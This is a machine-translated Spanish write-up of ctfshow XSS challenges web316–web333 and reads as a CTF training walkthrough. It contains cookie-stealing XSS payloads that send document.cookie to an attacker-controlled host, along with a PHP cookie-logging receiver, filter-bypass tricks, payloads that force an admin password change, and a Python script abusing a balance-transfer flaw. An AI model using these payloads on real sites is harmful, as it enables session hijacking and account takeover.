ctfshow XSS web316-web333 wp

Puede ser un poco largo escribir, registre el proceso de hacer las preguntas usted mismo

web316

El fondo visitará nuestro enlace de vez en cuando (generalmente 15 segundos) (después de todo, necesita 10 robots de huevo para mantener su estado de uso compartido), cuando el bot acceda a nuestro xss, podemos obtener la cookie del administrador.

Hay dos formas de obtenerlo, una es la plataforma xss en línea, como https://xsshs.cn/ , https://xss.pt/ , http://xsscom.com para generar enlaces xss

La otra es crearlo en su propio sitio web y escribir un fragmento de código php, como

# xss.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

En términos generales, el primer método es suficiente para nosotros, pero a veces solo podemos usar el segundo método. Por ejemplo, en la pregunta de evaluación final de ctfshow, debido a que la segunda máquina no puede salir de la red y no puede ser proxy, y la segunda máquina tiene XSS, en este caso, solo se puede usar el segundo método para obtener la cookie.

Aquí se usa https://xss.pt/xss.php , primero regístrese e inicie sesión en la página de inicio, luego haga clic en Crear
inserte la descripción de la imagen aquí

seleccione el módulo predeterminado

inserte la descripción de la imagen aquí

Obtenga muchos tipos de enlaces, use cualquiera para generar "Bendiciones", actualice el título después de la generación y luego regrese a la interfaz del proyecto

Por supuesto, una situación muy común es: no eres administrador sin bandera

inserte la descripción de la imagen aquí

No te asustes, esta situación es normal (es decir, X te ha alcanzado), solo hazlo unas cuantas veces más.

Es tan triste, me he estado enchufando más de una docena de veces

Loco, estoy sin palabras, puse mi servidor en él, lo puse (el código php de arriba) y escribo esta declaración

<script>document.location.href="http://ip/xss.php?cookie="+document.cookie</script>

inserte la descripción de la imagen aquí

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Por qué tuvo éxito una vez, no lo entiendo. .

web317

El payload de la pregunta anterior no puede pasar, porque está filtrado pero no sé qué filtrar. Es exitoso reemplazar el script con el cuerpo, lo que significa que el script está filtrado.

<body οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web318

El payload de la pregunta anterior fue exitoso

web319

El payload de la pregunta anterior fue exitoso

web320

El payload de la pregunta anterior falló, no se que se filtró. Pruébelo aquí.

La primera prueba es eliminar el frente del href

inserte la descripción de la imagen aquí

Esto significa que el punto de filtro está en la parte delantera y el cuerpo no es un problema.

La segunda vez que elimino el frente de la ventana, también hay un eco, lo que indica que el punto de filtro está al frente.

No hay problema con la carga, no hay problema con el cuerpo, lo que indica que el problema radica en este espacio

Método de derivación:

PESTAÑA

/

/**/

<body/**/οnlοad="window.location.href='http://ip/xss.php?cookie='+document.cookie"></body>

web321

El payload de la pregunta anterior fue exitoso

web322

Mad es tan asqueroso, aquí necesitas cambiar el xss.php en el servidor a otro nombre, en resumen, los tres caracteres de xss no pueden aparecer

<body/**/οnlοad="window.location.href='http://ip/a.php?cookie='+document.cookie"></body>

web323

El payload de la pregunta anterior fue exitoso

web324

El payload de la pregunta anterior fue exitoso

web325

El payload de la pregunta anterior fue exitoso

web326

El payload de la pregunta anterior fue exitoso

web327

Cambió el tema, almacenó XSS

inserte la descripción de la imagen aquí

El destinatario debe ser administrador.

Luego prueba el contenido de la carta con 322payload

inserte la descripción de la imagen aquí

éxito

web328

Un inicio de sesión, administrador de cuenta, pruebe la carga útil sobre la contraseña

Falló, intente tanto la cuenta como la contraseña con la carga útil

todavía falló

Oye, hay un botón de registro en él, pruébalo.

No se puede registrar administrador, simplemente cambie otro nombre. Inicie sesión en la administración de usuarios, solo el administrador puede verlo

Debido a que solo el administrador puede ver la administración de usuarios, aquí hay una idea para decir si la carga útil se puede inyectar en la administración de usuarios y el administrador puede acceder a ella.

Registre una cuenta, la contraseña es la prueba de carga anterior

El resultado de la práctica no es

Pruébelo con <script> aquí, se debe tener en cuenta que se debe agregar un punto y coma al final

<script>window.location.href='http://ip/a.php?cookie='+document.cookie;</script>

inserte la descripción de la imagen aquí

Obtuve la cookie del administrador aquí, luego inicie sesión directamente con la cookie y pruébelo

inserte la descripción de la imagen aquí

Sin embargo, la interfaz de administración no se puede ver aquí, y esto es temporal, así que cambie directamente el almacenamiento

inserte la descripción de la imagen aquí

Luego actualice la interfaz y vea la bandera, pero la bandera parpadea y aquí solo hay captura de paquetes

inserte la descripción de la imagen aquí

web329

El método es el mismo que el anterior, puede obtener la cookie pero aún no puede acceder a la página

El motivo es que el administrador cierra la sesión después de visitar la página, lo que equivale a la última cookie obtenida por el administrador la última vez.

De ninguna manera aquí Aquí, vi que wp usa js

De esta manera, mira el video https://www.bilibili.com/video/BV1gi4y1A76p

<script>$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://ip/a.php?cookie='+value.innerHTML; 
    }
});</script>

La razón es que si escribimos ctfshow directamente, la primera consulta que contiene ctfshow seremos nosotros mismos.

inserte la descripción de la imagen aquí

Agregar un {, ctf+mostrar{

Recuerde abrir un nuevo rango cada vez que los datos estén contaminados

inserte la descripción de la imagen aquí

web330

Hay una opción para cambiar la contraseña, así que no permita que el administrador cambie su contraseña directamente

<script>window.location.href='http://127.0.0.1/api/change.php?p=admin';</script>

Simplemente registre una cuenta de carga útil

inserte la descripción de la imagen aquí

web331

La idea es la misma que la anterior, pero se cambia el método de get a post

inserte la descripción de la imagen aquí

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'2333'}});</script>

web332

9999 yuanes para comprar bandera, nueva cuenta registrada tiene 5 yuanes.

Luego descubrí que el dinero negativo lo puedo agregar yo mismo, si no, se reducirá, jajajaja

Simplemente transfiera -9999 al administrador

web333

Quería escribir un guión para la última pregunta, pero encontré un método simple, así que no lo escribí.

Escriba un guión aquí y regístrese para darme dinero loco

Después de escribir durante más de 20 minutos, he estado depurando y descubrí que no puedo iniciar sesión. . . No sé por qué woo woo

Después de leer el guión del Maestro Yu, puedo agregar dinero transfiriéndolo a mí mismo. Soy demasiado estúpido.

import requests
x=5
url="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/amount.php"
url2="http://e8e0aa13-bff2-4b78-a8cb-f7c0f0e73ae2.challenge.ctf.show/api/getFlag.php"
headers={
    
    'Cookie':'PHPSESSID=jkvcavn3fpfel2opl4afqdcepp'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
    
    
	'u':'mumuzi', #注册的用户名
	'a':str(t)
	}
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
	x+=t

En este punto, la parte XSS ha terminado.

Supongo que te gusta

Origin blog.csdn.net/qq_42880719/article/details/122543274
Recomendado
Clasificación